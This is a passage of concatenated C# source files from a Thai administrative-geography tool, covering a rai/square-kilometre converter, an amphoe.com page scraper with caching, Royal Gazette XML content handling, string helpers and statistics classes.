using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class UnitConverterForm : Form
{
const Decimal SquareKilometerToRai = 0.0016M;
Boolean mChanging = false;
#region properties
private Decimal mArea = 0.0M;
public Decimal Area { get { return mArea; } set { mArea = value; UpdateEdits(); } }
#endregion
public UnitConverterForm()
{
InitializeComponent();
}
protected void UpdateEdits()
{
try
{
mChanging = true;
edtSquareKilometer.Value = mArea;
Decimal lAreaRai = mArea / SquareKilometerToRai;
edtRaiDecimal.Value = lAreaRai;
edtRaiInteger.Value = Math.Truncate(lAreaRai);
Decimal lAreaNgan = (lAreaRai - Math.Truncate(lAreaRai)) * 4;
edtNganInteger.Value = Math.Truncate(lAreaNgan);
Decimal lAreaWa = (lAreaNgan - Math.Truncate(lAreaNgan)) * 100;
edtTarangWaInteger.Value = Math.Truncate(lAreaWa);
}
finally
{
mChanging = false;
}
}
private void edtSquareKilometer_ValueChanged(object sender, EventArgs e)
{
if (!mChanging)
{
Area = edtSquareKilometer.Value;
}
}
private void edtRaiDecimal_ValueChanged(object sender, EventArgs e)
{
if (!mChanging)
{
Area = edtRaiDecimal.Value * SquareKilometerToRai;
}
}
private void edtInteger_ValueChanged(object sender, EventArgs e)
{
if (!mChanging)
{
Decimal lArea = ((edtTarangWaInteger.Value / 100 + edtNganInteger.Value) / 4 + edtRaiInteger.Value) * SquareKilometerToRai;
Area = lArea;
}
}
}
}
<file_sep>/AHTambon/AmphoeComDownloader.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Xml;
using System.Xml.Linq;
namespace De.AHoerstemeier.Tambon
{
public class AmphoeComDownloader
{
#region Constants
private const String SearchStringAmphoeChangwat = "<font color=\"#0000FF\" face=\"MS Sans Serif\">";
private const String SearchStringAmphoeChangwatEnd = "</font></b></td>";
private const String SearchStringDataLineEnd = "</td>";
private const String SearchStringDataLineEndTop = "</span></font></td>";
private const String SearchStringDataCaptionTop = "<font color=\"#0066CC\">";
private const String SearchStringChangwatSlogan = "คำขวัญจังหวัด";
private const String SearchStringAmphoeSlogan = "คำขวัญอำเภอ";
private const String SearchStringDistrictOffice = "ที่อยู่ที่ว่าการอำเภอ";
private const String SearchStringTelephone = "หมายเลขโทรศัพท์";
private const String SearchStringFax = "หมายเลขโทรสาร";
private const String SearchStringWebsite = "เว็บไซต์อำเภอ";
private const String SearchStringHistory = "1.ประวัติความเป็นมา";
private const String SearchStringArea = "2.เนื้อที่/พื้นที่";
private const String SearchStringClimate = "3.สภาพภูมิอากาศโดยทั่วไป";
private const String SearchStringTambon = "1.ตำบล";
private const String SearchStringThesaban = "3.เทศบาล";
private const String SearchStringMuban = "2.หมู่บ้าน";
private const String SearchStringTAO = "4.อบต";
private const String SearchStringDataBottom = "<span lang=\"en-us\">";
private static Dictionary<String, Int16> _provinceIds = new Dictionary<String, Int16>() {
{ "กระบี่",1},
{ "กาญจนบุรี",2},
{ "กาฬสินธุ์",3},
{ "กำแพงเพชร",4},
{ "ขอนแก่น",5},
{ "จันทบุรี",6},
{ "ฉะเชิงเทรา",7},
{ "ชลบุรี",8},
{ "ชัยนาท",9},
{ "ชัยภูมิ",10},
{ "ชุมพร",11},
{ "เชียงราย",12},
{ "เชียงใหม่",13},
{ "ตรัง",14},
{ "ตราด",15},
{ "ตาก",16},
{ "นครนายก",17},
{ "นครปฐม",18},
{ "นครพนม",19},
{ "นครราชสีมา",20},
{ "นครศรีธรรมราช",21},
{ "นครสวรรค์",22},
{ "นนทบุรี",23},
{ "นราธิวาส",24},
{ "น่าน",25},
{ "บุรีรัมย์",26},
{ "ปทุมธานี",27},
{ "ประจวบคีรีขันธ์",28},
{ "ปราจีนบุรี",29},
{ "ปัตตานี",30},
{ "พระนครศรีอยุธยา",31},
{ "พะเยา",32},
{ "พังงา",33},
{ "พัทลุง",34},
{ "พิจิตร",35},
{ "พิษณุโลก",36},
{ "เพชรบุรี",37},
{ "เพชรบูรณ์",38},
{ "แพร่",39},
{ "ภูเก็ต",40},
{ "มหาสารคาม",41},
{ "มุกดาหาร",42},
{ "แม่ฮ่องสอน",43},
{ "ยโสธร",44},
{ "ยะลา",45},
{ "ร้อยเอ็ด",46},
{ "ระนอง",47},
{ "ระยอง",48},
{ "ราชบุรี",49},
{ "ลพบุรี",50},
{ "ลำปาง",51},
{ "ลำพูน",52},
{ "เลย",53},
{ "ศรีสะเกษ",54},
{ "สกลนคร",55},
{ "สงขลา",56},
{ "สตูล",57},
{ "สมุทรปราการ",58},
{ "สมุทรสงคราม",59},
{ "สมุทรสาคร",60},
{ "สระแก้ว",61},
{ "สระบุรี",62},
{ "สิงห์บุรี",63},
{ "สุโขทัย",64},
{ "สุพรรณบุรี",65},
{ "สุราษฎร์ธานี",66},
{ "สุรินทร์",67},
{ "หนองคาย",68},
{ "หนองบัวลำภู",69},
{ "อ่างทอง",70},
{ "อำนาจเจริญ",71},
{ "อุดรธานี",72},
{ "อุตรดิตถ์",73},
{ "อุทัยธานี",74},
{ "อุบลราชธานี",75},
};
#endregion Constants
private Int16[][] CreateCodes()
{
Int16[][] retval = new Int16[76][];
retval[1] = new Int16[] { 1, 2, 3, 4, 5, 6, 7, 8 };
retval[2] = new Int16[] { 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21 };
retval[3] = new Int16[] { 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 851, 852, 853, 854 };
retval[4] = new Int16[] { 36, 37, 38, 39, 40, 41, 42, 43, 44, 833, 834 };
retval[5] = new Int16[] { 45, 46, 47, 48, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 855, 856, 857, 858, 859 };
retval[6] = new Int16[] { 67, 68, 69, 70, 71, 72, 73, 74, 75, 76 };
retval[7] = new Int16[] { 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87 };
retval[8] = new Int16[] { 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98 };
retval[9] = new Int16[] { 99, 100, 101, 102, 103, 104, 105, 106 };
retval[10] = new Int16[] { 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 860 };
retval[11] = new Int16[] { 122, 123, 124, 125, 126, 127, 128, 129 };
retval[12] = new Int16[] { 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 835, 836 };
retval[13] = new Int16[] { 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 837, 838 };
retval[14] = new Int16[] { 168, 169, 170, 171, 172, 173, 174, 175, 176, 177 };
retval[15] = new Int16[] { 178, 179, 180, 181, 182, 183, 184 };
retval[16] = new Int16[] { 185, 186, 187, 188, 189, 190, 191, 192, 839 };
retval[17] = new Int16[] { 193, 194, 195, 196 };
retval[18] = new Int16[] { 197, 198, 199, 200, 201, 202, 203 };
retval[19] = new Int16[] { 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 861 };
retval[20] = new Int16[] { 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 862, 863, 864, 865, 866, 867 };
retval[21] = new Int16[] { 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263 };
retval[22] = new Int16[] { 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 840, 841 };
retval[23] = new Int16[] { 277, 278, 279, 280, 281, 282 };
retval[24] = new Int16[] { 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295 };
retval[25] = new Int16[] { 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 842, 849 };
retval[26] = new Int16[] { 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 868, 869 };
retval[27] = new Int16[] { 330, 331, 332, 333, 334, 335, 336 };
retval[28] = new Int16[] { 337, 338, 339, 340, 341, 342, 343, 344 };
retval[29] = new Int16[] { 345, 346, 347, 348, 349, 350, 351 };
retval[30] = new Int16[] { 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363 };
retval[31] = new Int16[] { 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379 };
retval[32] = new Int16[] { 380, 381, 382, 383, 384, 385, 386, 843, 844 };
retval[33] = new Int16[] { 387, 388, 389, 390, 391, 392, 393, 394 };
retval[34] = new Int16[] { 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405 };
retval[35] = new Int16[] { 406, 407, 408, 409, 410, 411, 412, 413, 845, 846, 847, 850 };
retval[36] = new Int16[] { 414, 415, 416, 417, 418, 419, 420, 421, 422 };
retval[37] = new Int16[] { 423, 424, 425, 426, 427, 428, 429, 430 };
retval[38] = new Int16[] { 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441 };
retval[39] = new Int16[] { 442, 443, 444, 445, 446, 447, 448, 449 };
retval[40] = new Int16[] { 450, 451, 452 };
retval[41] = new Int16[] { 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 870, 871 };
retval[42] = new Int16[] { 464, 465, 466, 467, 468, 469, 470 };
retval[43] = new Int16[] { 471, 472, 473, 474, 475, 476, 477 };
retval[44] = new Int16[] { 478, 479, 480, 481, 482, 483, 484, 485, 486 };
retval[45] = new Int16[] { 487, 488, 489, 490, 491, 492, 493, 494 };
retval[46] = new Int16[] { 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 872, 873, 874 };
retval[47] = new Int16[] { 512, 513, 514, 515, 516 };
retval[48] = new Int16[] { 517, 518, 519, 520, 521, 522, 523, 524 };
retval[49] = new Int16[] { 525, 526, 527, 528, 529, 530, 531, 532, 533, 534 };
retval[50] = new Int16[] { 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545 };
retval[51] = new Int16[] { 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558 };
retval[52] = new Int16[] { 559, 560, 561, 562, 563, 564, 565, 848 };
retval[53] = new Int16[] { 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 875, 876 };
retval[54] = new Int16[] { 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 877, 878 };
retval[55] = new Int16[] { 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615 };
retval[56] = new Int16[] { 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631 };
retval[57] = new Int16[] { 632, 633, 634, 635, 636, 637, 638 };
retval[58] = new Int16[] { 639, 640, 641, 642, 643, 644 };
retval[59] = new Int16[] { 645, 646, 647 };
retval[60] = new Int16[] { 648, 649, 650 };
retval[61] = new Int16[] { 651, 652, 653, 654, 655, 656, 657, 658, 659 };
retval[62] = new Int16[] { 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672 };
retval[63] = new Int16[] { 673, 674, 675, 676, 677, 678 };
retval[64] = new Int16[] { 679, 680, 681, 682, 683, 684, 685, 686, 687 };
retval[65] = new Int16[] { 688, 689, 690, 691, 692, 693, 694, 695, 696, 697 };
retval[66] = new Int16[] { 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716 };
retval[67] = new Int16[] { 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733 };
retval[68] = new Int16[] { 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750 };
retval[69] = new Int16[] { 751, 752, 753, 754, 755, 756 };
retval[70] = new Int16[] { 757, 758, 759, 760, 761, 762, 763 };
retval[71] = new Int16[] { 764, 765, 766, 767, 768, 769, 770 };
retval[72] = new Int16[] { 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790 };
retval[73] = new Int16[] { 791, 792, 793, 794, 795, 796, 797, 798, 799 };
retval[74] = new Int16[] { 800, 801, 802, 803, 804, 805, 806, 807 };
retval[75] = new Int16[] { 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832 };
return retval;
}
private Stream DoDownload(Int16 provinceId, Int16 amphoeId)
{
WebClient webClient = new WebClient();
Stream stream = webClient.OpenRead(URL(provinceId, amphoeId));
return stream;
}
private Uri URL(Int16 provinceId, Int16 amphoeId)
{
Uri retval = new Uri("http://www.amphoe.com/menu.php?mid=1&am=" + amphoeId.ToString() + "&pv=" + provinceId.ToString());
return retval;
}
private String RemoveHTML(String line)
{
String tempString = line.Replace("<br>", Environment.NewLine);
tempString = tempString.Replace("</td>", "");
tempString = tempString.Replace("</span>", "");
tempString = tempString.Replace("</font>", "");
tempString = tempString.Replace(" ", " ");
return tempString;
}
private String ParseTopTableData(String line)
{
String tempString = line.Substring(0, line.IndexOf(SearchStringDataLineEnd));
tempString = RemoveHTML(tempString);
Int32 position = tempString.LastIndexOf('>') + 1;
tempString = tempString.Substring(position);
tempString = tempString.Trim();
return tempString;
}
private String ParseSecondDataTable(String line)
{
String tempString = line.Substring(0, line.IndexOf(SearchStringDataLineEnd));
tempString = RemoveHTML(tempString).Trim();
Int32 position = tempString.LastIndexOf('>') + 1;
tempString = tempString.Substring(position);
return tempString;
}
private String TrimMultiLine(String line)
{
StringReader reader = new StringReader(line);
String retval = String.Empty;
String currentLine = String.Empty;
while ( (currentLine = reader.ReadLine()) != null )
{
retval = retval + currentLine.Trim() + Environment.NewLine;
}
return retval;
}
private void ParseAmphoeChangwatName(String line, AmphoeComData data)
{
Int32 pos1 = line.IndexOf(EntityTypeHelper.EntityNames[EntityType.Amphoe]) + EntityTypeHelper.EntityNames[EntityType.Amphoe].Length;
Int32 pos2 = line.IndexOf(" ");
data.AmphoeName = line.Substring(pos1, pos2 - pos1);
Int32 pos3 = line.IndexOf(EntityTypeHelper.EntityNames[EntityType.Changwat]) + EntityTypeHelper.EntityNames[EntityType.Changwat].Length;
Int32 pos4 = line.IndexOf(SearchStringAmphoeChangwatEnd);
data.ChangwatName = line.Substring(pos3, pos4 - pos3);
}
private AmphoeComData Parse(Stream stream)
{
AmphoeComData retval = new AmphoeComData();
var reader = new StreamReader(stream, TambonHelper.ThaiEncoding);
String currentLine = String.Empty;
StringBuilder entryData = new StringBuilder();
Int32 dataState = 0;
while ( (currentLine = reader.ReadLine()) != null )
{
if ( currentLine.Contains(SearchStringAmphoeChangwat) )
{
ParseAmphoeChangwatName(currentLine, retval);
}
else if ( currentLine.Contains(SearchStringDataCaptionTop) )
{
if ( currentLine.Contains(SearchStringChangwatSlogan) )
{
dataState = 1;
}
else if ( currentLine.Contains(SearchStringAmphoeSlogan) )
{
dataState = 2;
}
else if ( currentLine.Contains(SearchStringDistrictOffice) )
{
dataState = 3;
}
else if ( currentLine.Contains(SearchStringTelephone) )
{
dataState = 4;
}
else if ( currentLine.Contains(SearchStringFax) )
{
dataState = 5;
}
else if ( currentLine.Contains(SearchStringWebsite) )
{
dataState = 6;
}
}
else if ( currentLine.Contains(SearchStringHistory) )
{
dataState = 7;
}
else if ( currentLine.Contains(SearchStringArea) )
{
dataState = 8;
}
else if ( currentLine.Contains(SearchStringClimate) )
{
dataState = 9;
}
else if ( currentLine.Contains(SearchStringTambon) )
{
retval.Tambon = ParseSubEntityNumber(currentLine);
}
else if ( currentLine.Contains(SearchStringMuban) )
{
retval.Muban = ParseSubEntityNumber(currentLine);
}
else if ( currentLine.Contains(SearchStringThesaban) )
{
retval.Thesaban = ParseSubEntityNumber(currentLine);
}
else if ( currentLine.Contains(SearchStringTAO) )
{
retval.TAO = ParseSubEntityNumber(currentLine);
}
else if ( currentLine.Contains(SearchStringDataLineEndTop) )
{
String tempString = ParseTopTableData(currentLine);
switch ( dataState )
{
case 1:
retval.ChangwatSlogan = tempString;
break;
case 2:
retval.AmphoeSlogan = tempString;
break;
case 3:
retval.DistrictOffice = tempString;
break;
case 4:
retval.Telephone = tempString;
break;
case 5:
retval.Fax = tempString;
break;
case 6:
retval.Website = tempString;
break;
}
}
else if ( currentLine.Contains(SearchStringDataBottom) )
{
String tempString = currentLine;
while ( !tempString.Contains(SearchStringDataLineEnd) )
{
if ( (currentLine = reader.ReadLine()) == null )
{
break;
}
tempString = tempString + currentLine;
}
tempString = ParseSecondDataTable(tempString).Trim();
tempString = TrimMultiLine(tempString);
switch ( dataState )
{
case 7:
retval.History = tempString;
dataState = 0;
break;
case 8:
retval.Area = tempString;
dataState = 0;
break;
case 9:
retval.Climate = tempString;
dataState = 0;
break;
}
}
}
return retval;
}
private Int32 ParseSubEntityNumber(String currentLine)
{
String tempString = currentLine.Substring(currentLine.IndexOf(SearchStringDataBottom) + SearchStringDataBottom.Length);
tempString = tempString.Substring(0, tempString.IndexOf('<')).Trim();
Int32 retval = 0;
try
{
retval = Convert.ToInt32(tempString);
}
catch
{
}
return retval;
}
public AmphoeComData DoIt(Int16 provinceId, Int16 amphoeId)
{
if ( !File.Exists(CacheFileName(amphoeId)) )
{
Stream cacheData = DoDownload(provinceId, amphoeId);
SaveToCache(cacheData, amphoeId);
}
Stream data = new FileStream(CacheFileName(amphoeId), FileMode.Open);
var retval = Parse(data);
retval.AmphoeID = amphoeId;
retval.ProvinceID = provinceId;
return retval;
}
private void SaveToCache(Stream data, Int16 amphoeId)
{
System.IO.Stream outFileStream = null;
String lFileName = CacheFileName(amphoeId);
Directory.CreateDirectory(CacheDirectory());
try
{
try
{
outFileStream = new FileStream(lFileName, FileMode.CreateNew);
TambonHelper.StreamCopy(data, outFileStream);
outFileStream.Flush();
}
finally
{
outFileStream.Dispose();
}
}
catch
{
File.Delete(lFileName);
}
}
private String CacheDirectory()
{
String lDir = Path.Combine(GlobalSettings.HTMLCacheDir, "amphoe");
return lDir;
}
private String CacheFileName(Int16 amphoeId)
{
String retval = Path.Combine(CacheDirectory(), "amphoe " + amphoeId.ToString() + ".html");
return retval;
}
public List<AmphoeComData> DoItAll(Int32 provinceGeocode)
{
List<AmphoeComData> retval = new List<AmphoeComData>();
var codes = CreateCodes();
Int16 provinceId = ProvinceIdFromGeocode(provinceGeocode);
foreach ( Int16 value in codes[provinceId] )
{
retval.Add(DoIt(provinceId, value));
}
return retval;
}
private Int16 ProvinceIdFromGeocode(Int32 provinceGeocode)
{
Int16 provinceId = 0;
XElement geocodeXml = XElement.Load(TambonHelper.BasicGeocodeFileName());
var query = from c in geocodeXml.Descendants(TambonHelper.TambonNameSpace + "entity")
where ((Int32)(c.Attribute("geocode")) == provinceGeocode)
select c.Attribute("name");
foreach ( String s in query )
{
provinceId = _provinceIds[s];
}
return provinceId;
}
}
}<file_sep>/AHTambon/RoyalGazetteContentCapital.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentCapital:RoyalGazetteContent
{
internal const String XmlLabel = "capital";
#region properties
public EntityType Type
{
get;
set;
}
public EntityType TypeCapital
{
get;
set;
}
public Int32 GeocodeCapital { get; set; }
public Int32 GeocodeCapitalOld { get; set; }
public String CapitalName { get; set; }
public String CapitalNameOld { get; set; }
public String CapitalEnglish { get; set; }
public String CapitalEnglishOld { get; set; }
#endregion
#region constructor
public RoyalGazetteContentCapital()
{
Type = EntityType.Unknown;
TypeCapital = EntityType.Unknown;
}
public RoyalGazetteContentCapital(RoyalGazetteContentCapital other)
{
DoCopy(other);
}
#endregion
#region methods
protected override String GetXmlLabel()
{
return XmlLabel;
}
override internal void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
string lTypeString = TambonHelper.GetAttributeOptionalString(iNode, "type");
if (!String.IsNullOrEmpty(lTypeString))
{
Type = (EntityType)Enum.Parse(typeof(EntityType), lTypeString);
}
lTypeString = TambonHelper.GetAttributeOptionalString(iNode, "capitaltype");
if (!String.IsNullOrEmpty(lTypeString))
{
TypeCapital = (EntityType)Enum.Parse(typeof(EntityType), lTypeString);
}
GeocodeCapital = TambonHelper.GetAttributeOptionalInt(iNode,"capitalgeocode",0);
GeocodeCapitalOld = TambonHelper.GetAttributeOptionalInt(iNode, "oldcapitalgeocode", 0);
CapitalName = TambonHelper.GetAttributeOptionalString(iNode, "capitalname");
CapitalNameOld = TambonHelper.GetAttributeOptionalString(iNode,"oldcapitalname");
CapitalEnglish = TambonHelper.GetAttributeOptionalString(iNode, "capitalenglish");
CapitalEnglishOld = TambonHelper.GetAttributeOptionalString(iNode, "oldcapitalenglish");
}
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (Type != EntityType.Unknown)
{
iElement.SetAttribute("type", Type.ToString());
}
if (TypeCapital != EntityType.Unknown)
{
iElement.SetAttribute("capitaltype", TypeCapital.ToString());
}
if (!String.IsNullOrEmpty(CapitalName))
{
iElement.SetAttribute("capitalname", CapitalName);
}
if (!String.IsNullOrEmpty(CapitalEnglish))
{
iElement.SetAttribute("capitalname", CapitalEnglish);
}
if (GeocodeCapital != 0)
{
iElement.SetAttribute("capitalgeocode", GeocodeCapital.ToString());
}
if (!String.IsNullOrEmpty(CapitalNameOld))
{
iElement.SetAttribute("capitalname", CapitalNameOld);
}
if (!String.IsNullOrEmpty(CapitalEnglishOld))
{
iElement.SetAttribute("capitalname", CapitalEnglishOld);
}
if (GeocodeCapitalOld != 0)
{
iElement.SetAttribute("capitalgeocode", GeocodeCapitalOld.ToString());
}
}
protected override void DoCopy(RoyalGazetteContent iOther)
{
if (iOther != null)
{
base.DoCopy(iOther);
if (iOther is RoyalGazetteContentCapital)
{
RoyalGazetteContentCapital iOtherCapital = (RoyalGazetteContentCapital)iOther;
Type = iOtherCapital.Type;
TypeCapital = iOtherCapital.TypeCapital;
GeocodeCapital = iOtherCapital.GeocodeCapital;
GeocodeCapitalOld = iOtherCapital.GeocodeCapitalOld;
CapitalName = iOtherCapital.CapitalName;
CapitalNameOld = iOtherCapital.CapitalNameOld;
CapitalEnglish = iOtherCapital.CapitalEnglish;
CapitalEnglishOld = iOtherCapital.CapitalEnglishOld;
}
}
}
public override bool IsAboutGeocode(Int32 iGeocode, Boolean iIncludeSubEntities)
{
Boolean retval = TambonHelper.IsSameGeocode(iGeocode, Geocode, iIncludeSubEntities);
retval = retval | TambonHelper.IsSameGeocode(iGeocode, GeocodeCapital, iIncludeSubEntities);
retval = retval | TambonHelper.IsSameGeocode(iGeocode, GeocodeCapitalOld, iIncludeSubEntities);
return retval;
}
#endregion
}
}
<file_sep>/TambonHelpers/TambonExtensions.cs
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public static class TambonExtensions
{
/// <summary>
/// Checks whether a string is a number.
/// </summary>
/// <param name="value">String to check.</param>
/// <returns><c>true</c> if string is a number, <c>false</c> otherwise.</returns>
public static Boolean IsNumeric(this String value)
{
if ( value == null )
{
throw new ArgumentNullException("value");
}
for ( int i = 0 ; i < value.Length ; i++ )
{
if ( !(Convert.ToInt32(value[i]) >= 48 && Convert.ToInt32(value[i]) <= 57) )
{
return false;
}
}
return !String.IsNullOrEmpty(value);
}
/// <summary>
/// Converts a string into a camel-cased string.
/// </summary>
/// <param name="value">String to convert.</param>
/// <returns>Camel-cased string.</returns>
public static String ToCamelCase(this String value)
{
if ( value == null )
{
throw new ArgumentNullException("value");
}
var parts = value.Split(' ');
var result = String.Empty;
foreach ( var part in parts.Where(x => !String.IsNullOrWhiteSpace(x)) )
{
result += part.Substring(0, 1).ToUpperInvariant() + part.Substring(1);
}
return result;
}
/// <summary>
/// Checks whether two Thai names can be considered identical as name of a Muban.
/// </summary>
/// <param name="value">Name of first Muban.</param>
/// <param name="other">Name of second Muban.</param>
/// <returns>True if identical, false otherwise.</returns>
public static Boolean IsSameMubanName(this String value, String other)
{
Boolean result = (StripBanOrChumchon(value) == StripBanOrChumchon(other));
return result;
}
/// <summary>
/// Removes the word Ban (บ้าน) preceding the name.
/// </summary>
/// <param name="value">Name of a Muban.</param>
/// <returns>Name without Ban.</returns>
public static String StripBanOrChumchon(this String value)
{
if ( value == null )
{
throw new ArgumentNullException("value");
}
const String thaiStringBan = ThaiLanguageHelper.Ban;
const String thaiStringChumchon = "ชุมชน";
String retval = String.Empty;
if ( value.StartsWith(thaiStringBan, StringComparison.Ordinal) )
{
retval = value.Remove(0, thaiStringBan.Length).Trim();
}
else if ( value.StartsWith(thaiStringChumchon, StringComparison.Ordinal) )
{
retval = value.Remove(0, thaiStringChumchon.Length).Trim();
}
else
{
retval = value;
}
const String englishStringBan = "Ban ";
const String englishStringChumchon = "Chumchon ";
if ( value.StartsWith(englishStringBan, StringComparison.Ordinal) )
{
retval = value.Remove(0, englishStringBan.Length).Trim();
}
else if ( value.StartsWith(englishStringChumchon, StringComparison.Ordinal) )
{
retval = value.Remove(0, englishStringChumchon.Length).Trim();
}
return retval;
}
}
}<file_sep>/TambonUI/CreationStatisticForm.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class CreationStatisticForm : Form
{
public CreationStatisticForm()
{
InitializeComponent();
}
private void btnCalcTambon_Click(object sender, EventArgs e)
{
CreationStatisticsTambon statistics = new CreationStatisticsTambon((Int32)edtYearStart.Value, (Int32)edtYearEnd.Value);
DoCalculate(statistics);
}
private void btnCalcMuban_Click(object sender, EventArgs e)
{
CreationStatisticsMuban statistics = new CreationStatisticsMuban((Int32)edtYearStart.Value, (Int32)edtYearEnd.Value);
DoCalculate(statistics);
}
private void btnDates_Click(object sender, EventArgs e)
{
StatisticsAnnouncementDates statistics = new StatisticsAnnouncementDates((Int32)edtYearStart.Value, (Int32)edtYearEnd.Value);
DoCalculate(statistics);
if ( statistics.StrangeAnnouncements.Any() )
{
// Invoke(new Action(() => RoyalGazetteViewer.ShowGazetteDialog(statistics.StrangeAnnouncements, false)));
}
}
private void DoCalculate(AnnouncementStatistics statistics)
{
statistics.Calculate(GlobalData.AllGazetteAnnouncements);
edtData.Text = statistics.Information();
}
private void btnCalcAmphoe_Click(object sender, EventArgs e)
{
CreationStatisticsAmphoe statistics = new CreationStatisticsAmphoe((Int32)edtYearStart.Value, (Int32)edtYearEnd.Value);
DoCalculate(statistics);
}
private void CreationStatisticForm_Load(object sender, EventArgs e)
{
edtYearEnd.Maximum = DateTime.Now.Year;
edtYearEnd.Value = edtYearEnd.Maximum;
edtYearStart.Maximum = edtYearEnd.Maximum;
}
}
}<file_sep>/AHTambon/FrequencyCounter.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class FrequencyCounter
{
private Boolean mDirty = true;
#region properties
private Dictionary<Int32, List<Int32>> mData = new Dictionary<Int32, List<Int32>>();
public Dictionary<Int32, List<Int32>> Data { get { return mData; } }
private double mMeanValue = 0;
public double MeanValue { get { if (mDirty) { CalculateStatistics();}; return mMeanValue;}}
private Int32 mMaxValue = 0;
public Int32 MaxValue { get { if (mDirty) { CalculateStatistics();}; return mMaxValue;}}
private Int32 mMinValue = 0;
public Int32 MinValue { get { if (mDirty) { CalculateStatistics(); }; return mMinValue; } }
private Int32 mMostCommonValue = 0;
public Int32 MostCommonValue { get { if (mDirty) { CalculateStatistics(); }; return mMostCommonValue; } }
private Int32 mMostCommonValueCount = 0;
public Int32 MostCommonValueCount { get { if (mDirty) { CalculateStatistics(); }; return mMostCommonValueCount; } }
private Int32 mCount = 0;
public Int32 NumberOfValues { get { if (mDirty) { CalculateStatistics(); }; return mCount; } }
private Int32 mSum = 0;
public Int32 SumValue { get { if (mDirty) { CalculateStatistics(); }; return mSum; } }
private double mStandardDeviation = 0;
public double StandardDeviation { get { if (mDirty) { CalculateStatistics(); }; return mStandardDeviation; } }
#endregion
#region constructor
public FrequencyCounter()
{
}
#endregion
#region methods
public void IncrementForCount(Int32 iValue, Int32 iGeocode)
{
if (!mData.ContainsKey(iValue))
{
mData.Add(iValue,new List<Int32>());
}
mData[iValue].Add(iGeocode);
mDirty = true;
}
protected void CalculateStatistics()
{
mMeanValue = 0;
mMaxValue = 0;
mMinValue = 0;
mMostCommonValue = 0;
mMostCommonValueCount = 0;
mStandardDeviation = 0;
mSum = 0;
mCount = 0;
foreach (KeyValuePair<Int32, List<Int32>> lKeyValue in mData)
{
if ((lKeyValue.Value != null)&&(lKeyValue.Key!=0))
{
Int32 lCurrentCount = lKeyValue.Value.Count;
if (lCurrentCount > 0)
{
mCount=mCount+lCurrentCount;
mSum = mSum + lKeyValue.Key*lCurrentCount;
if (mMinValue == 0)
{
mMinValue = lKeyValue.Key;
}
mMinValue = Math.Min(mMinValue, lKeyValue.Key);
mMaxValue = Math.Max(mMaxValue, lKeyValue.Key);
if (lCurrentCount > mMostCommonValueCount)
{
mMostCommonValueCount = lCurrentCount;
mMostCommonValue = lKeyValue.Key;
}
}
}
}
if (mCount > 0)
{
mMeanValue = (mSum * 1.0 / mCount);
double lDeviation = 0;
foreach (KeyValuePair<Int32, List<Int32>> lKeyValue in mData)
{
if (lKeyValue.Value != null)
{
